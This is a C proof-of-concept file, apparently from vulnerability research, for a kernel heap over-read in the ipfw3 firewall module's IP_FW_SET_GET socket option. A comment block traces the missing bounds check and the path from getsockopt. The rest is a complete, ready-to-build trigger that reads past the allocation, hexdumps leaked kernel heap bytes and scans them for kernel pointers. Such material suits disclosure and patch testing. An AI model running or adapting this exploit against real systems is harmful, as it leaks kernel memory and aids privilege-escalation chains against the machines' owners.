DF-0739 / df0739.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 | /* * DF-0739 — ip_fw3_ctl_set_get heap over-read / kernel memory disclosure. * * Bug (sys/net/ipfw3/ip_fw3_set.c:213): * ip_fw3_ctl_set_get(struct sockopt *sopt) { * ctx = fw3_ctx[mycpuid]; * bcopy(&ctx->sets, sopt->sopt_val, sopt->sopt_valsize); // <-- no bounds check * } * * ctx->sets is a uint32_t (4 bytes) and is the LAST field of * struct ipfw3_context (sys/net/ipfw3/ip_fw3.h:482-490, sizeof == 40). * sopt->sopt_valsize is attacker-controlled (capped at SOMAXOPT_SIZE=65536 * for non-root, 32 MiB for root). Any valsize > 4 reads kernel heap PAST * the fw3_ctx[cpu] allocation and the bytes are copied back to userspace by * sys_getsockopt()'s copyout() (sys/kern/uipc_syscalls.c:1349) -> info leak. * * Reach (sys/netinet/raw_ip.c:334 / :385): * getsockopt(s, IPPROTO_IP, IP_FW_X=49, buf, &len) * -> rip_ctloutput -> ip_fw3_sockopt -> ip_fw_ctl_x_ptr = ip_fw3_ctl_x * -> strips 4-byte ip_fw_x_header, sets sopt_name = opcode = IP_FW_SET_GET=95 * -> ip_fw3_ctl -> case IP_FW_SET_GET -> ip_fw3_ctl_set_sockopt * -> ip_fw3_ctl_set_get -> BUG. * * Pre-conditions: * - ipfw3.ko loaded (root: `kldload ipfw3`). * - raw IP socket (SOCK_RAW) -> requires SYSCAP_NONET_RAW (root). * So the live trigger is root-reachable; it is a root->kernel heap info leak * that bypasses securelevel kernel-memory read restrictions. * * Build: cc -O2 -o df0739 df0739.c * Run: ./df0739 [readlen] (default 256) */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #ifndef IP_FW_X #define IP_FW_X 49 /* sys/netinet/in.h */ #endif #define IP_FW_SET_GET 95 /* sys/net/ipfw3/ip_fw3.h:423 */ /* sys/net/ipfw3/ip_fw3.h:366 */ struct ip_fw_x_header { uint16_t opcode; uint16_t pad; } __attribute__((packed)); static void hexdump(const char *pfx, const unsigned char *b, size_t n) { for (size_t i = 0; i < n; i += 16) { printf("%s%04zx: ", pfx, i); for (size_t j = 0; j < 16 && i + j < n; j++) printf("%02x ", b[i + j]); printf("\n"); } } int main(int argc, char **argv) { size_t readlen = (argc > 1) ? (size_t)strtoul(argv[1], NULL, 0) : 256; if (readlen < 8) readlen = 8; if (readlen > 65536) readlen = 65536; int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { /* IPPROTO_RAW may be restricted; try a generic raw socket */ s = socket(AF_INET, SOCK_RAW, 0); } if (s < 0) { printf("socket(SOCK_RAW) failed: %s (need SYSCAP_NONET_RAW / root)\n", strerror(errno)); return 2; } /* Build getsockopt buffer: 4-byte x_header {opcode=IP_FW_SET_GET} + room */ size_t buflen = sizeof(struct ip_fw_x_header) + readlen; unsigned char *buf = calloc(1, buflen); struct ip_fw_x_header xh; xh.opcode = IP_FW_SET_GET; xh.pad = 0; memcpy(buf, &xh, sizeof(xh)); socklen_t len = (socklen_t)buflen; int rc = getsockopt(s, IPPROTO_IP, IP_FW_X, buf, &len); int saved = errno; if (rc != 0) { printf("getsockopt(IPPROTO_IP, IP_FW_X, IP_FW_SET_GET) failed: %s\n", strerror(saved)); /* If ipfw3 not loaded -> ENOPROTOOPT */ close(s); return 3; } printf("getsockopt returned %u bytes (requested %zu payload after 4-byte x_header)\n", (unsigned)len, buflen); printf("ctx->sets (first 4 bytes, the only legitimate field):\n"); hexdump(" ", buf, (len < 4 ? len : 4)); if (len > 4) { size_t leaked = len - 4; printf("Over-read past ctx->sets: %zu bytes (heap residue):\n", leaked); hexdump(" ", buf + 4, leaked); /* count non-zero bytes in the over-read region to prove real leak */ size_t nz = 0; for (size_t i = 4; i < len; i++) if (buf[i]) nz++; printf("non-zero bytes in over-read region: %zu / %zu\n", nz, leaked); /* look for likely kernel pointers (high bytes 0xff/0x80-0xff in 64-bit KVA) */ size_t ptrs = 0; for (size_t i = 4; i + 8 <= len; i++) { unsigned long long v = 0; memcpy(&v, buf + i, 8); if ((v & 0xffff000000000000ULL) == 0xffff000000000000ULL) ptrs++; } printf("candidate 64-bit kernel pointers (0xffff...): %zu\n", ptrs); } else { printf("len <= 4: no over-read observed\n"); } free(buf); close(s); return 0; } |